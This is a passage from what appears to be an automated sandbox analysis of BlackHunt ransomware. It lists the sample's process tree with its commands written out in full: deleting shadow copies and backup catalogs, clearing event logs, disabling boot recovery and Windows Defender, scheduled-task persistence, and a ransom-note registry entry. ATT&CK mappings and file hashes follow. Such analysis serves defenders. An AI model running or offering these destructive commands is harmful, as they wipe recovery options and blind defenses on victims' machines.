- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:560
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2868
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:1548
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4020
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2000
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3812
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2672
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1700
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:1540
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1596
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3092
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4072
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1216
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3524
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2168
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3400
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3436
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4076
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1180
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3300
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3124
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:760
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe"
  2⤵
  - Deletes itself
  PID:3412
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1916

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:2708

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:1112

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:708

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2208

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:3860

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:1532

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:268

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2852

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:564

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:2628
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2280

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:2592

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3692

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:3728

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2180
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3216

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe" /F
1⤵
- Creates scheduled task(s)
PID:3248

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:3236

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:3192

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:3168

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:3136

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:2716

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:2748

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:2880

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:3048

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:2168

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:1532

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:580

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:2308

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:2976

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:1124

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:2548

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:1832

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:1640

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:2328

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:1928

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2412

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:2504

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2148

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-3961355372108484188281274874113531442213533706935221115761421126819-1435084509"
1⤵
- Enumerates connected drives
PID:2716

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2748

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
1c72fb354f1c35142846a9918a7f1f1e

SHA1
04ba882e6a0396f124b81618062288d552186af4

SHA256
6618645953d105318cc9a98c0ced751a65d850fe1a9a45b1d0866876f44fd2b1

SHA512
34944e1ed28701ccd6886c089d4b467d33c1475a1ded8b42047126a64cf2441aafa7a618cfafd5df02c96e0c07686758ba52910077ceeed188935eb287ec37a1

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
869a180a3cf971495598e34310ff7a75

SHA1
dbc9029950f47ab0f268e6b6b2a806e4dcf93813

SHA256
caa196b499af81b8020c49f15df8eaa8bd3275010825152d8e2d5983fc5467d1

SHA512
5b2c96648799043eb2522a002b75d7e20028dfd2f2f61b316383f65cab66af726bc0eac03ce2ad18061d13d2454f67e34c446761dfaa77fef09b31c74ef76601

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
fc7f6b2dba15f09163bd654f99ccdd12

SHA1
d36f12e38f3694808a528001645ccad075ce97c4

SHA256
54b5adbb40b3bde2749c89bc4f4191ea7d476fefed81de5837581cb69a01c380

SHA512
522cc0744e6e92b119da0fcd3c8e33b0914b4d03c60a4d1302fb641f0f75465591458ab1e652da14f3aad077c7492bdec46f3f9749b07330f02a1747f23bf007

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads